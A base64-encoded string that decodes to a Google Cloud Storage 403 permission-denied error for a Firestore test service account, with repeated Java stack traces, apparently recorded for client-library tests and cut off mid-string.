"eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImZvcmJpZGRlbiIsIm1lc3NhZ2UiOiJpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiIsImRlYnVnSW5mbyI6ImNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpVU0VSX1BST0pFQ1RfQUNDRVNTX0RFTklFRDogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MTAxKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLmFjbHMuTGlzdEFjbHMuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKExpc3RBY2xzLmphdmE6MjUpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLkFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmxpc3QoQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IuamF2YTo4OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogaW50ZWdyYXRpb25AZ2Nsb3VkLWdvbGFuZy1maXJlc3RvcmUtdGVzdHMuaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20gZG9lcyBub3QgaGF2ZSBzZXJ2aWNldXNhZ2Uuc2VydmljZXMudXNlIGFjY2VzcyB0byBwcm9qZWN0IDY0MjA4MDkxODEwMS5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuXG5jb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5GYXVsdDogSW1tdXRhYmxlRXJyb3JEZWZpbml0aW9ue2Jhc2U9Rk9SQklEREVOLCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9BQ0NFU1NfREVOSUVEOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1mb3JiaWRkZW4sIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLkZPUkJJRERFTiwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9BQ0NFU1NfREVOSUVEOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToxMDEpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMuYWNscy5MaXN0QWNscy5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoTGlzdEFjbHMuamF2YToyNSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uQWNjZXNzQ29udHJvbHNEZWxlZ2F0b3IubGlzdChBY2Nlc3NDb250cm9sc0RlbGVnYXRvci5qYXZhOjg5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBpbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPUZPUkJJRERFTiwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1udWxsLCBtZXNzYWdlPWludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249bnVsbCwgbWVzc2FnZT1pbnRlZ3JhdGlvbkBnY2xvdWQtZ29sYW5nLWZpcmVzdG9yZS10ZXN0cy5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSBkb2VzIG5vdCBoYXZlIHNlcnZpY2V1c2FnZS5zZXJ2aWNlcy51c2UgYWNjZXNzIHRvIHByb2plY3QgNjQyMDgwOTE4MTAxLiwgcmVhc29uPWZvcmJpZGRlbiwgcnBjQ29kZT00MDN9IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuOiBjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX0FDQ0VTU19ERU5JRUQ6IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjEwMSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5hY2xzLkxpc3RBY2xzLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChMaXN0QWNscy5qYXZhOjI1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5BY2Nlc3NDb250cm9sc0RlbGVnYXRvci5saXN0KEFjY2Vzc0NvbnRyb2xzRGVsZWdhdG9yLmphdmE6ODkpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IGludGVncmF0aW9uQGdjbG91ZC1nb2xhbmctZmlyZXN0b3JlLXRlc3RzLmlhbS5nc2VydmljZWFjY291bnQuY29tIGRvZXMgbm90IGhhdmUgc2VydmljZXVzYWdlLnNlcnZpY2VzLnVzZSBhY2Nlc3MgdG8gcHJvamVjdCA2NDIwODA5MTgxMDEuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5FcnJvckNvbGxlY3Rvci50b0ZhdWx0KEVycm9yQ29sbGVjdG9yLmphdmE6NTQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5RXJyb3JDb252ZXJ0ZXIudG9GYXVsdChSb3N5RXJyb3JDb252ZXJ0ZXIuamF2YTo2Nylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjI1OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lIYW5kbGVyJDIuY2FsbChSb3N5SGFuZGxlci5qYXZhOjIzOSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29t